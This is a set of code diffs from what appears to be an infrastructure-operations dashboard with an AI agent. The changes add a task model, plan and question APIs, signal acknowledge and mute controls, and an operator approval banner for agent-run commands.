| 2026-07-08 | [Liveness, drift, and UX cohesion](2026-07-08-liveness-drift-and-ux-cohesion.md) | In Progress — Phase 5 deferred |
| 2026-07-10 | [General gated execution: unlimited actions, gated by risk](2026-07-10-general-gated-execution.md) | In Progress — enum retirement + auto-act revival still open |
| 2026-07-11 | [Nomos agent code review: gaps and improvement plan](2026-07-11-nomos-agent-code-review.md) | In Progress — only C1 (unauthenticated nomos gateway) still open, deferred |
## Done
@@ -33,6 +33,16 @@ See [`done/`](done/) for executed plans:
| 2026-07-07 | [Client lifecycle in Go — enrollment through deprecation](done/2026-07-07-client-lifecycle-in-go.md) |
| 2026-07-08 | [Fix MCP analysis tools](done/2026-07-08-fix-mcp-analysis-tools.md) |
| 2026-07-06 | [Consolidate Oikos control plane onto mac-mini](done/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md) |
| 2026-07-08 | [Signal triggers: host health checks](done/2026-07-08-signal-triggers.md) |
| 2026-07-08 | [Plan vs implementation cross-reference](done/2026-07-08-plan-implementation-audit.md) |
| 2026-07-08 | [Nomos resident agent (renames Hermes)](done/2026-07-08-nomos-resident-agent.md) |
| 2026-07-09 | [Chat sessions: reliability, cost, and session-management fixes](done/2026-07-09-chat-sessions-improvements.md) |
| 2026-07-09 | [Session execution, UX, and learning improvements](done/2026-07-09-session-execution-and-ux-fixes.md) |
| 2026-07-10 | [Autonomous plan execution: close the observation gap](done/2026-07-10-autonomous-plan-execution.md) |
| 2026-07-11 | [Tasks: the chat page as goal-structured autonomous work](done/2026-07-11-goal-oriented-chat-control-panel.md) |
| 2026-07-11 | [Concurrent task execution: safety + throughput + frontend correctness](done/2026-07-11-concurrent-task-execution.md) |
| 2026-07-11 | [UI review: information architecture, usability, and best practices](done/2026-07-11-ui-review-ia-usability.md) |
| 2026-07-11 | [Task completion safety net: every live task is stuck "Running"](done/2026-07-11-task-completion-safety-net.md) |
## Conventions

View File

@@ -641,6 +641,14 @@ entity_types:
domain: cognition
layer: cognition
description: Recorded investigation/postmortem.
task:
parent: entity
domain: cognition
layer: cognition
description: A goal-structured unit of agent work — one chat/session elevated
to a task with a plan, lifecycle status, and outcome. Anchors the knowledge
and involved-entity relationships for the task so future tasks can learn
from it. Typed rows in agent_sessions.
# ─── Relationship types ────────────────────────────────────────────────
# cardinality is source→target: e.g. `hosts` one-to-many = one machine
@@ -928,6 +936,14 @@ relationship_types:
target: entity
cardinality: many-to-one
description: Document describes an entity.
involves:
inverse: involved-in
source: task
target: entity
cardinality: many-to-many
description: Task explored or acted on an entity (captured from its tool
calls). A task's involved-entity set is its graph neighborhood, so future
tasks on the same entities can surface this task's knowledge and outcome.
procedure-for:
inverse: has-procedure
source: runbook

View File

@@ -1,16 +1,14 @@
<script lang="ts">
import Chat from './pages/Chat.svelte'
import Sessions from './pages/Sessions.svelte'
import Tasks from './pages/Tasks.svelte'
import Overview from './pages/Overview.svelte'
import Entities from './pages/Entities.svelte'
import Events from './pages/Events.svelte'
import Ops from './pages/Ops.svelte'
import Signals from './pages/Signals.svelte'
import Graph from './pages/Graph.svelte'
import EntityDetail from './pages/EntityDetail.svelte'
import Agent from './pages/Agent.svelte'
import Knowledge from './pages/Knowledge.svelte'
import Audit from './pages/Audit.svelte'
import Learning from './pages/Learning.svelte'
import { newChat } from '$lib/stores/chat'
import { summary, subscribeContext, openSignalCount } from '$lib/stores/context'
import { connectionState } from '$lib/stores/events'
@@ -22,19 +20,18 @@
import { Separator } from '$lib/components/ui/separator'
import { Toaster } from '$lib/components/ui/sonner'
import PlusIcon from '@lucide/svelte/icons/plus'
import ListTodoIcon from '@lucide/svelte/icons/list-todo'
import MessageSquareIcon from '@lucide/svelte/icons/message-square'
import LayoutDashboardIcon from '@lucide/svelte/icons/layout-dashboard'
import DatabaseIcon from '@lucide/svelte/icons/database'
import ActivityIcon from '@lucide/svelte/icons/activity'
import PanelRightIcon from '@lucide/svelte/icons/panel-right'
import ShieldCheckIcon from '@lucide/svelte/icons/shield-check'
import SirenIcon from '@lucide/svelte/icons/siren'
import NetworkIcon from '@lucide/svelte/icons/share-2'
import BotIcon from '@lucide/svelte/icons/bot'
import SearchIcon from '@lucide/svelte/icons/search'
import ScrollTextIcon from '@lucide/svelte/icons/scroll-text'
import TrendingUpIcon from '@lucide/svelte/icons/trending-up'
let page = $state('chat')
let page = $state('tasks')
let routeParam = $state('')
let drawerOpen = $state(false)
@@ -43,9 +40,9 @@
onMount(() => {
function sync() {
const path = location.hash.slice(2) || 'chat'
const path = location.hash.slice(2) || 'tasks'
const [head, ...rest] = path.split('/')
page = head || 'chat'
page = head || 'tasks'
routeParam = rest.join('/')
}
sync()
@@ -68,10 +65,8 @@
{ id: 'graph', label: 'Graph', icon: NetworkIcon },
{ id: 'ops', label: 'Operations', icon: ShieldCheckIcon, badge: () => approvalsPending },
{ id: 'signals', label: 'Signals', icon: SirenIcon, badge: () => openSignals },
{ id: 'events', label: 'Events', icon: ActivityIcon },
{ id: 'agent', label: 'Agent', icon: BotIcon },
{ id: 'knowledge', label: 'Knowledge', icon: SearchIcon },
{ id: 'audit', label: 'Audit', icon: ScrollTextIcon }
{ id: 'learning', label: 'Learning', icon: TrendingUpIcon }
]
</script>
@@ -103,12 +98,12 @@
<Sidebar.MenuButton
class="bg-primary text-primary-foreground hover:bg-primary/90 hover:text-primary-foreground active:bg-primary/90 active:text-primary-foreground min-w-8 duration-200 ease-linear"
onclick={() => { newChat(); navigate('chat') }}
tooltipContent="New chat"
tooltipContent="New task"
>
{#snippet child({ props })}
<button {...props}>
<PlusIcon />
<span>New chat</span>
<span>New task</span>
</button>
{/snippet}
</Sidebar.MenuButton>
@@ -120,11 +115,11 @@
<Sidebar.Group>
<Sidebar.Menu>
<Sidebar.MenuItem>
<Sidebar.MenuButton isActive={page === 'chat'} onclick={() => navigate('chat')} tooltipContent="Chat">
<Sidebar.MenuButton isActive={page === 'tasks' || page === 'chat'} onclick={() => navigate('tasks')} tooltipContent="Tasks">
{#snippet child({ props })}
<button {...props}>
<MessageSquareIcon />
<span>Chat</span>
<ListTodoIcon />
<span>Tasks</span>
</button>
{/snippet}
</Sidebar.MenuButton>
@@ -153,7 +148,13 @@
</Sidebar.Content>
<Sidebar.Footer>
<Button variant="ghost" size="sm" class="justify-start gap-2" onclick={() => (drawerOpen = true)}>
<Button
variant="ghost"
size="sm"
class="justify-start gap-2"
onclick={() => (drawerOpen = true)}
title="Chat over the current page without navigating away"
>
<PanelRightIcon />
<span>Chat drawer</span>
</Button>
@@ -164,7 +165,13 @@
<header class="flex h-(--header-height) shrink-0 items-center gap-1 border-b px-4 lg:gap-2 lg:px-6">
<Sidebar.Trigger class="-ms-1" />
<Separator orientation="vertical" class="mx-2 data-[orientation=vertical]:h-4" />
{#if page === 'chat'}
<button type="button" class="text-sm text-muted-foreground hover:text-foreground" onclick={() => navigate('tasks')}>Tasks</button>
<span class="text-muted-foreground">/</span>
<span class="text-base font-medium">Conversation</span>
{:else}
<span class="text-base font-medium capitalize">{page === 'entity' ? routeParam : page}</span>
{/if}
<div class="ms-auto flex items-center gap-2.5">
{#if $summary}
<div class="hidden items-center gap-2.5 text-xs text-muted-foreground sm:flex">
@@ -192,6 +199,8 @@
<main class="min-h-0 flex-1 overflow-hidden">
{#if page === 'overview'}
<Overview />
{:else if page === 'tasks'}
<Tasks />
{:else if page === 'entities'}
<Entities />
{:else if page === 'graph'}
@@ -202,16 +211,10 @@
<Ops />
{:else if page === 'signals'}
<Signals />
{:else if page === 'events'}
<Events />
{:else if page === 'sessions'}
<Sessions />
{:else if page === 'agent'}
<Agent />
{:else if page === 'knowledge'}
<Knowledge />
{:else if page === 'audit'}
<Audit />
{:else if page === 'learning'}
<Learning />
{:else}
<Chat />
{/if}

View File

@@ -1,10 +1,18 @@
const BASE = '/agent'
const API = '/api/v1'
// A session IS a task: a goal-structured unit of work with a lifecycle status
// and an outcome. goal/outcome/summary/entity_id are empty until the agent sets
// them (see the task-board plan). status defaults to 'active'.
export interface Session {
id: string
title: string
actor: string
goal?: string
status?: string // active | planning | executing | awaiting_input | done | failed | abandoned
outcome?: string // success | failure | partial
summary?: string
entity_id?: string
created_at: string
last_active_at: string
}
@@ -31,6 +39,56 @@ export async function fetchMessages(sessionId: string): Promise<Message[]> {
return data.messages ?? []
}
export async function deleteSession(sessionId: string): Promise<boolean> {
const res = await fetch(`${BASE}/sessions/${sessionId}`, { method: 'DELETE' })
return res.ok
}
export interface PlanStep {
id: string
seq: number
title: string
detail: string
status: 'pending' | 'running' | 'done' | 'failed' | 'skipped' | 'blocked'
execution_id?: string
target_slug?: string
started_at?: string
finished_at?: string
}
export async function fetchPlan(sessionId: string): Promise<PlanStep[]> {
const res = await fetch(`${BASE}/sessions/${sessionId}/plan`)
if (!res.ok) return []
const data = await res.json()
return data.steps ?? []
}
export interface SessionQuestion {
id: string
prompt: string
context: { why?: string; options?: string[]; entities?: string[] }
status: 'open' | 'answered' | 'dismissed'
answer?: string
created_at: string
answered_at?: string
}
export async function fetchQuestions(sessionId: string): Promise<SessionQuestion[]> {
const res = await fetch(`${BASE}/sessions/${sessionId}/questions`)
if (!res.ok) return []
const data = await res.json()
return data.questions ?? []
}
export async function answerQuestion(sessionId: string, questionId: string, answer: string): Promise<boolean> {
const res = await fetch(`${BASE}/sessions/${sessionId}/questions/${questionId}/answer`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ answer })
})
return res.ok
}
export interface ChatEvent {
type: string
data: any
@@ -225,12 +283,119 @@ export async function fetchExecutions(status?: string): Promise<Execution[]> {
return data.items ?? []
}
export async function getExecution(id: string): Promise<Execution | null> {
const res = await fetch(`${API}/executions/${id}`)
if (!res.ok) return null
return res.json()
}
export async function cancelExecution(id: string): Promise<Execution | null> {
const res = await fetch(`${API}/executions/${id}/cancel`, { method: 'POST' })
if (!res.ok) return null
return res.json()
}
export interface ActivityItem {
id: string
target: string
verb: string
summary: string
risk_class: string
status: string
duration_ms: number | null
error?: string
created_at: string
completed_at: string | null
}
export async function fetchRecentActivity(limit = 50): Promise<ActivityItem[]> {
const res = await fetch(`${API}/activity/recent?limit=${limit}`)
if (!res.ok) return []
const data = await res.json()
return data.items ?? []
}
export interface SessionDigest {
session_id: string
total_executions: number
by_status: Record<string, number>
entities_touched: string[]
executions: { target: string; verb: string; summary: string; risk_class: string; status: string }[]
knowledge_created: string[]
}
export async function fetchSessionDigest(sessionId: string): Promise<SessionDigest | null> {
const res = await fetch(`${API}/activity/session/${sessionId}`)
if (!res.ok) return null
return res.json()
}
export interface CapabilityTimelineItem {
verb: string
first_success: string | null
successes: number
total: number
}
export async function fetchLearningTimeline(): Promise<CapabilityTimelineItem[]> {
const res = await fetch(`${API}/learning/timeline`)
if (!res.ok) return []
const data = await res.json()
return data.items ?? []
}
export interface TrendBucket {
day: string
successes: number
failures: number
}
export async function fetchLearningTrend(): Promise<TrendBucket[]> {
const res = await fetch(`${API}/learning/trend`)
if (!res.ok) return []
const data = await res.json()
return data.items ?? []
}
export interface Pattern {
id: string
slug: string
applies_type: string
action: string
pattern: string
confidence: number
evidence_count: number
success_count?: number
failure_count?: number
status: string
quarantined?: boolean
}
export async function fetchPatterns(): Promise<Pattern[]> {
const res = await fetch(`${API}/patterns`)
if (!res.ok) return []
const data = await res.json()
return data.items ?? []
}
export interface Skill {
id: string
slug: string
name: string
applies_type?: string | null
action: string
status: string
success_rate?: number | null
last_used_at?: string | null
}
export async function fetchSkills(): Promise<Skill[]> {
const res = await fetch(`${API}/skills`)
if (!res.ok) return []
const data = await res.json()
return data.items ?? []
}
export interface Signal {
id: string
slug: string
@@ -367,6 +532,36 @@ export interface KnowledgeHit {
slug: string
type: 'document' | 'runbook' | 'investigation'
title: string
snippet?: string
linked_entities?: string[]
}
export interface KnowledgeItem {
slug: string
title: string
kind: 'document' | 'runbook' | 'investigation'
source: string
tags: string[]
updated_at: string
agent_authored: boolean
}
export interface RecentKnowledge {
stats: {
total: number
by_kind: Record<string, number>
agent_authored: number
last_7d: number
}
items: KnowledgeItem[]
}
export async function fetchRecentKnowledge(source?: string): Promise<RecentKnowledge> {
const params = new URLSearchParams()
if (source) params.set('source', source)
const res = await fetch(`${API}/knowledge/recent?${params}`)
if (!res.ok) return { stats: { total: 0, by_kind: {}, agent_authored: 0, last_7d: 0 }, items: [] }
return res.json()
}
export async function fetchEntityKnowledge(entityId: string): Promise<KnowledgeHit[]> {

View File

@@ -11,19 +11,27 @@
fetchEntityExecutions,
fetchEntityKnowledge,
fetchChecksForTarget,
fetchAgentActivity,
fetchAudit,
patchCheck,
ackSignal,
resolveSignal,
muteSignal,
type Entity,
type Relationship,
type MetricSeries,
type Signal,
type Execution,
type KnowledgeHit,
type Check
type Check,
type AgentActivity,
type AuditEntry
} from '$lib/api'
import { relativeTime } from '$lib/utils'
import type { OikosEvent } from '$lib/stores/events'
import * as Card from '$lib/components/ui/card'
import { Badge } from '$lib/components/ui/badge'
import { Button } from '$lib/components/ui/button'
import { Skeleton } from '$lib/components/ui/skeleton'
import { toast } from 'svelte-sonner'
@@ -37,7 +45,10 @@
let executions = $state<Execution[]>([])
let knowledge = $state<KnowledgeHit[]>([])
let checks = $state<Check[]>([])
let agentActivity = $state<AgentActivity[]>([])
let auditEntries = $state<AuditEntry[]>([])
let loading = $state(true)
let actingSignal = $state<string | null>(null)
let chartContainers: Record<string, HTMLDivElement> = {}
async function load(s: string) {
@@ -47,14 +58,16 @@
loading = false
return
}
const [graphView, m, ev, sig, exec, kh, ch] = await Promise.all([
const [graphView, m, ev, sig, exec, kh, ch, aa, au] = await Promise.all([
fetchGraph({ root: entity.id, depth: 1 }),
fetchMetrics(entity.id),
fetchEntityEvents(entity.id),
fetchEntitySignals(entity.id),
fetchEntityExecutions(entity.id),
fetchEntityKnowledge(entity.id),
fetchChecksForTarget(entity.slug)
fetchChecksForTarget(entity.slug),
fetchAgentActivity({ entity_id: entity.id, limit: 50 }),
fetchAudit({ entity_id: entity.id, limit: 50 })
])
relations = graphView?.edges ?? []
metrics = m
@@ -63,12 +76,51 @@
executions = exec
knowledge = kh
checks = ch
agentActivity = aa
auditEntries = au
loading = false
await tick()
renderCharts()
}
async function ackOpenSignal(id: string) {
actingSignal = id
const result = await ackSignal(id)
actingSignal = null
if (result) {
toast.success('Signal acknowledged')
signals = signals.map((s) => (s.id === id ? result : s))
} else {
toast.error('Acknowledge failed')
}
}
async function resolveOpenSignal(id: string) {
actingSignal = id
const result = await resolveSignal(id)
actingSignal = null
if (result) {
toast.success('Signal resolved')
signals = signals.map((s) => (s.id === id ? result : s))
} else {
toast.error('Resolve failed')
}
}
async function muteOpenSignal(id: string) {
actingSignal = id
const muteUntil = new Date(Date.now() + 60 * 60 * 1000).toISOString()
const result = await muteSignal(id, muteUntil)
actingSignal = null
if (result) {
toast.success('Signal muted for 1h')
signals = signals.map((s) => (s.id === id ? result : s))
} else {
toast.error('Mute failed')
}
}
onMount(() => {
load(slug)
})
@@ -232,13 +284,44 @@
<div class="grid grid-cols-1 gap-4 @3xl:grid-cols-3">
<Card.Root>
<Card.Header>
<Card.Title class="text-sm">Open signals</Card.Title>
<Card.Title class="text-sm">Signals</Card.Title>
</Card.Header>
<Card.Content class="flex flex-col gap-1">
<Card.Content class="flex flex-col gap-2">
{#each signals as signal (signal.id)}
<div class="flex items-center justify-between text-xs">
<div class="flex flex-col gap-1 border-b pb-2 text-xs last:border-0 last:pb-0">
<div class="flex items-center justify-between gap-2">
<span>{signal.kind}</span>
<div class="flex items-center gap-1">
<Badge variant={severityVariant(signal.severity)}>{signal.severity}</Badge>
<Badge variant="outline">{signal.state}</Badge>
</div>
</div>
{#if ['raised', 'acknowledged', 'acting'].includes(signal.state)}
<div class="flex justify-end gap-1.5">
{#if signal.state === 'raised'}
<Button
size="sm"
variant="outline"
class="h-6 px-2 text-xs"
disabled={actingSignal === signal.id}
onclick={() => ackOpenSignal(signal.id)}>Ack</Button
>
{/if}
<Button
size="sm"
variant="outline"
class="h-6 px-2 text-xs"
disabled={actingSignal === signal.id}
onclick={() => muteOpenSignal(signal.id)}>Mute 1h</Button
>
<Button
size="sm"
class="h-6 px-2 text-xs"
disabled={actingSignal === signal.id}
onclick={() => resolveOpenSignal(signal.id)}>Resolve</Button
>
</div>
{/if}
</div>
{:else}
<p class="text-xs text-muted-foreground">None.</p>
@@ -278,20 +361,62 @@
</Card.Root>
</div>
<div class="grid grid-cols-1 gap-4 @3xl:grid-cols-3">
<Card.Root>
<Card.Header>
<Card.Title class="text-sm">Recent events</Card.Title>
</Card.Header>
<Card.Content class="flex flex-col gap-1">
<Card.Content class="flex max-h-72 flex-col gap-1.5 overflow-y-auto">
{#each events as ev (ev.id)}
<div class="flex items-center gap-2 text-xs">
<div class="flex items-center justify-between gap-2 text-xs">
<span class="font-mono text-muted-foreground">{new Date(ev.ts).toLocaleString()}</span>
<span>{ev.type}</span>
<span class="truncate">{ev.type}</span>
</div>
{:else}
<p class="text-xs text-muted-foreground">No events yet.</p>
{/each}
</Card.Content>
</Card.Root>
<Card.Root>
<Card.Header>
<Card.Title class="text-sm">Agent activity</Card.Title>
</Card.Header>
<Card.Content class="flex max-h-72 flex-col gap-1.5 overflow-y-auto">
{#each agentActivity as activity (activity.id)}
<div class="flex flex-col gap-0.5 border-b pb-1.5 text-xs last:border-0 last:pb-0">
<div class="flex items-center justify-between gap-2">
<span class="font-mono text-muted-foreground">{new Date(activity.ts).toLocaleString()}</span>
<Badge variant={activity.success === false ? 'destructive' : 'outline'}>{activity.activity_type}</Badge>
</div>
<span class="truncate text-muted-foreground"
>{activity.agent_id}{activity.tool_name ? ` · ${activity.tool_name}` : ''}</span
>
</div>
{:else}
<p class="text-xs text-muted-foreground">No agent activity.</p>
{/each}
</Card.Content>
</Card.Root>
<Card.Root>
<Card.Header>
<Card.Title class="text-sm">Audit trail</Card.Title>
</Card.Header>
<Card.Content class="flex max-h-72 flex-col gap-1.5 overflow-y-auto">
{#each auditEntries as entry (entry.id)}
<div class="flex flex-col gap-0.5 border-b pb-1.5 text-xs last:border-0 last:pb-0">
<div class="flex items-center justify-between gap-2">
<span class="font-mono text-muted-foreground">{new Date(entry.ts).toLocaleString()}</span>
<Badge variant="outline">{entry.actor_type}</Badge>
</div>
<span class="truncate text-muted-foreground">{entry.actor_id ?? '—'} · {entry.action}</span>
</div>
{:else}
<p class="text-xs text-muted-foreground">No audit entries.</p>
{/each}
</Card.Content>
</Card.Root>
</div>
{/if}
</div>

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<script lang="ts">
import { currentTask } from '$lib/stores/workspace'
import { Badge } from '$lib/components/ui/badge'
type StatusStyle = { label: string; dot: string; pulse: boolean; variant: 'default' | 'secondary' | 'destructive' | 'outline' }
function statusStyle(status: string | undefined, outcome: string | undefined): StatusStyle {
switch (status) {
case 'awaiting_input':
return { label: 'Needs your input', dot: 'bg-warning', pulse: true, variant: 'secondary' }
case 'done':
return outcome === 'partial'
? { label: 'Done · partial', dot: 'bg-warning', pulse: false, variant: 'secondary' }
: { label: 'Done', dot: 'bg-success', pulse: false, variant: 'default' }
case 'failed':
return { label: 'Failed', dot: 'bg-destructive', pulse: false, variant: 'destructive' }
case 'planning':
return { label: 'Planning', dot: 'bg-primary', pulse: true, variant: 'secondary' }
case 'executing':
return { label: 'Executing', dot: 'bg-primary', pulse: true, variant: 'secondary' }
default:
return { label: 'Active', dot: 'bg-muted-foreground', pulse: false, variant: 'outline' }
}
}
</script>
{#if $currentTask}
{@const st = statusStyle($currentTask.status, $currentTask.outcome)}
<div class="flex shrink-0 flex-col gap-1.5 border-b px-3 py-2.5">
<div class="flex items-center gap-1.5">
<span class="size-2 rounded-full {st.dot} {st.pulse ? 'animate-pulse' : ''}"></span>
<Badge variant={st.variant} class="text-[10px]">{st.label}</Badge>
</div>
<p class="text-sm font-medium leading-snug">
{$currentTask.goal || $currentTask.title || 'Untitled task'}
</p>
</div>
{/if}

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@@ -0,0 +1,261 @@
<script lang="ts">
import type { PendingApproval } from '$lib/stores/chat'
import { decideApproval, getExecution, fetchBlastRadius, type Execution } from '$lib/api'
import { Button } from '$lib/components/ui/button'
import { SvelteMap } from 'svelte/reactivity'
import CheckIcon from '@lucide/svelte/icons/check'
import XIcon from '@lucide/svelte/icons/x'
import ShieldCheckIcon from '@lucide/svelte/icons/shield-check'
import LoaderCircleIcon from '@lucide/svelte/icons/loader-circle'
import NetworkIcon from '@lucide/svelte/icons/network'
let { approvals }: { approvals: PendingApproval[] } = $props()
// Downstream entities the target affects, keyed by executionId — fetched
// once per approval so the operator sees the graph-walk impact ("this
// affects 3 downstream") before deciding, not after. depth 0 is the target
// itself, excluded here since it's already shown as "on {target}".
const blastRadius = new SvelteMap<string, string[]>()
const blastRadiusFetched = new Set<string>()
async function loadBlastRadius(a: PendingApproval) {
if (blastRadiusFetched.has(a.executionId) || a.target === 'unknown') return
blastRadiusFetched.add(a.executionId)
const items = await fetchBlastRadius(a.target)
const affected = items.filter((i) => i.depth > 0).map((i) => i.entity.slug)
if (affected.length) blastRadius.set(a.executionId, affected)
}
// Per-execution UI phase, keyed by executionId. A resolved phase hides the
// action buttons permanently so the banner clears after a click and can
// never re-POST /decision.
type Phase = 'deciding' | 'running' | 'completed' | 'failed' | 'denied' | 'stalled'
const phase = new SvelteMap<string, Phase>()
// Latest execution row (for status/result display), keyed by executionId.
const exec = new SvelteMap<string, Execution>()
const TERMINAL = new Set(['completed', 'failed', 'cancelled', 'denied'])
function errorText(e: Execution | undefined): string {
const r = e?.result as Record<string, unknown> | undefined | null
const v = r?.error
return typeof v === 'string' && v ? v : 'Execution failed.'
}
function outputText(e: Execution | undefined): string {
const r = e?.result as Record<string, unknown> | undefined | null
const v = r?.output
return typeof v === 'string' ? v.trim() : ''
}
function elapsedSeconds(e: Execution | undefined): number | null {
if (!e?.created_at) return null
return Math.max(0, Math.round((now - new Date(e.created_at).getTime()) / 1000))
}
function fmtDuration(s: number): string {
if (s < 60) return `${s}s`
const m = Math.floor(s / 60)
return `${m}m ${s % 60}s`
}
// Live clock for the elapsed-time display on running cards. Tied to
// component lifecycle via $effect so the interval is guaranteed cleared on
// unmount — a bare setInterval field here would leak a 1Hz timer for the
// lifetime of the page every time this component was mounted.
let now = $state(Date.now())
$effect(() => {
const t = setInterval(() => { now = Date.now() }, 1000)
return () => clearInterval(t)
})
// Backend commands are hard-capped at 10 minutes (internal sshExec
// timeout) before the execution is force-finalized as failed — so polling
// must outlast that with margin, or the UI gives up and goes stale before
// the backend ever resolves. Poll for 14 minutes; anything still running
// past that is a genuine anomaly worth surfacing distinctly rather than
// silently going quiet.
const POLL_CEILING_MS = 14 * 60 * 1000
// Poll the execution until it reaches a terminal state, so the operator sees
// provisioning progress and the final outcome without leaving the chat.
async function track(id: string) {
const deadline = Date.now() + POLL_CEILING_MS
while (Date.now() < deadline) {
const e = await getExecution(id)
if (e) {
exec.set(id, e)
if (e.status === 'completed') { phase.set(id, 'completed'); return }
if (e.status === 'failed' || e.status === 'cancelled') { phase.set(id, 'failed'); return }
if (e.status === 'denied' || e.status === 'revoked') { phase.set(id, 'denied'); return }
}
await new Promise((r) => setTimeout(r, 2500))
}
// Genuinely outlasted the backend's own hard timeout — this means
// something is wrong beyond a slow command (e.g. the API is down).
// Say so explicitly instead of freezing on "running" with no signal.
if (!TERMINAL.has(exec.get(id)?.status ?? '')) phase.set(id, 'stalled')
}
async function decide(approval: PendingApproval, decision: 'approve' | 'deny') {
const id = approval.executionId
const cur = phase.get(id)
if (cur && cur !== 'failed') return // no resubmit once decided/in-flight
phase.set(id, 'deciding')
const ok = await decideApproval(id, decision)
if (!ok) { phase.set(id, 'failed'); return }
if (decision === 'deny') { phase.set(id, 'denied'); return }
phase.set(id, 'running')
void track(id)
}
// Self-heal: a pending approval can be decided somewhere other than this
// button — chat assent ("go ahead" in the next message), the Ops page, or
// Matrix. Without this, the banner would sit showing Approve/Deny forever
// while the action was already running or done behind the scenes. Poll
// every card that's still showing buttons; the moment its execution leaves
// pending_approval, adopt that outcome exactly as if the button had been
// clicked. Stops immediately if the operator clicks the button first
// (phase becomes non-empty, ending this loop's reason to exist).
const watching = new Set<string>()
async function watchExternal(id: string) {
if (watching.has(id)) return
watching.add(id)
for (let i = 0; i < 200; i++) { // ~10min ceiling at 3s
if (phase.get(id)) return // resolved locally (button click) or already picked up
const e = await getExecution(id)
if (e && e.status !== 'pending_approval') {
exec.set(id, e)
if (e.status === 'completed') { phase.set(id, 'completed'); return }
if (e.status === 'failed' || e.status === 'cancelled') { phase.set(id, 'failed'); return }
if (e.status === 'denied' || e.status === 'revoked') { phase.set(id, 'denied'); return }
// 'approved' or 'running': someone said yes elsewhere — switch to
// the same tracking the button click would have started.
phase.set(id, 'running')
void track(id)
return
}
await new Promise((r) => setTimeout(r, 3000))
}
}
$effect(() => {
for (const a of approvals) {
if (!phase.get(a.executionId)) {
void watchExternal(a.executionId)
void loadBlastRadius(a)
}
}
})
</script>
{#each approvals as approval (approval.executionId)}
{@const p = phase.get(approval.executionId)}
{@const e = exec.get(approval.executionId)}
{#if p === 'completed'}
<div class="my-2 flex flex-col gap-1 rounded-lg border border-success/40 bg-success/5 px-3 py-2 text-xs text-success">
<div class="flex items-center gap-2">
<CheckIcon class="size-4 shrink-0" />
<span>Completed{e?.duration_ms ? ` in ${Math.round(e.duration_ms / 1000)}s` : ''} on {approval.target}.</span>
</div>
{#if outputText(e)}
<pre class="max-h-32 overflow-y-auto whitespace-pre-wrap break-words pl-6 opacity-80">{outputText(e)}</pre>
{/if}
</div>
{:else if p === 'failed'}
<div class="my-2 flex flex-col gap-1 rounded-lg border border-destructive/40 bg-destructive/5 px-3 py-2 text-xs text-destructive">
<div class="flex items-center gap-2">
<XIcon class="size-4 shrink-0" />
<span class="font-medium">Execution failed</span>
<Button size="sm" variant="outline" class="ml-auto h-6 px-2 text-xs" onclick={() => decide(approval, 'approve')}>Retry</Button>
</div>
<pre class="whitespace-pre-wrap break-words pl-6 opacity-90">{errorText(e)}</pre>
</div>
{:else if p === 'denied'}
<div class="my-2 flex items-center gap-2 rounded-lg border border-destructive/40 bg-destructive/5 px-3 py-2 text-xs text-destructive">
<XIcon class="size-4" /><span>Denied.</span>
</div>
{:else if p === 'running' || p === 'deciding'}
{@const secs = elapsedSeconds(e)}
<div class="my-2 flex flex-col gap-1 rounded-lg border border-warning/40 bg-warning/5 px-3 py-2 text-xs text-muted-foreground">
<div class="flex items-center gap-2">
<LoaderCircleIcon class="size-4 shrink-0 animate-spin text-warning" />
<span>
{#if p === 'deciding'}
Submitting approval…
{:else}
Running on {approval.target}{secs !== null ? ` — ${fmtDuration(secs)} elapsed` : '…'}
{/if}
</span>
</div>
{#if p === 'running' && approval.command}
<code class="ml-6 block truncate opacity-70">{approval.command}</code>
{/if}
{#if p === 'running'}
<span class="ml-6 opacity-60">
Execution <code>{approval.executionId.slice(0, 8)}</code> — long installs can take several minutes; this
will resolve on its own (capped at 10 min) or you can check the Operations page for live output.
</span>
{/if}
</div>
{:else if p === 'stalled'}
<div class="my-2 flex flex-col gap-1 rounded-lg border border-destructive/40 bg-destructive/5 px-3 py-2 text-xs text-destructive">
<div class="flex items-center gap-2">
<XIcon class="size-4 shrink-0" />
<span class="font-medium">No update from the server in over 14 minutes.</span>
<Button size="sm" variant="outline" class="ml-auto h-6 px-2 text-xs" onclick={() => { phase.delete(approval.executionId); void track(approval.executionId) }}>
Check again
</Button>
</div>
<span class="pl-6 opacity-90">
The command itself is capped at 10 minutes server-side, so this is unusual — the API may be unreachable.
Execution <code>{approval.executionId}</code>. Check the Operations page directly.
</span>
</div>
{:else if approval.destructive}
{@const affected = blastRadius.get(approval.executionId)}
<div class="my-2 flex flex-col gap-1 rounded-lg border border-destructive/50 bg-destructive/10 px-3 py-2">
<div class="flex items-center gap-2">
<ShieldCheckIcon class="size-4 shrink-0 text-destructive" />
<span class="flex-1 text-xs text-destructive">
<strong>DESTRUCTIVE</strong>{approval.action} on {approval.target}. Type
"I confirm" in chat, or use the button.
</span>
<Button size="sm" variant="destructive" class="h-7 px-2.5 text-xs" onclick={() => decide(approval, 'approve')}>
<CheckIcon class="size-3" /><span class="ml-1">Confirm</span>
</Button>
<Button size="sm" variant="outline" class="h-7 px-2.5 text-xs" onclick={() => decide(approval, 'deny')}>
<XIcon class="size-3" /><span class="ml-1">Deny</span>
</Button>
</div>
{#if approval.command}
<code class="ml-6 block truncate text-xs text-destructive/80">{approval.command}</code>
{/if}
{#if affected}
<div class="ml-6 flex items-start gap-1.5 text-xs text-destructive/90">
<NetworkIcon class="mt-0.5 size-3 shrink-0" />
<span>Affects {affected.length} downstream: {affected.join(', ')}</span>
</div>
{/if}
</div>
{:else}
{@const affected = blastRadius.get(approval.executionId)}
<div class="my-2 flex flex-col gap-1 rounded-lg border border-warning/40 bg-warning/5 px-3 py-2">
<div class="flex items-center gap-2">
<ShieldCheckIcon class="size-4 shrink-0 text-warning" />
<span class="flex-1 text-xs text-muted-foreground">{approval.action} on {approval.target} requires approval</span>
<Button size="sm" variant="default" class="h-7 px-2.5 text-xs" onclick={() => decide(approval, 'approve')}>
<CheckIcon class="size-3" /><span class="ml-1">Approve</span>
</Button>
<Button size="sm" variant="outline" class="h-7 px-2.5 text-xs" onclick={() => decide(approval, 'deny')}>
<XIcon class="size-3" /><span class="ml-1">Deny</span>
</Button>
</div>
{#if affected}
<div class="ml-6 flex items-start gap-1.5 text-xs text-warning">
<NetworkIcon class="mt-0.5 size-3 shrink-0" />
<span>Affects {affected.length} downstream: {affected.join(', ')}</span>
</div>
{/if}
</div>
{/if}
{/each}

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<script lang="ts">
import { openQuestion } from '$lib/stores/workspace'
import { currentSession } from '$lib/stores/chat'
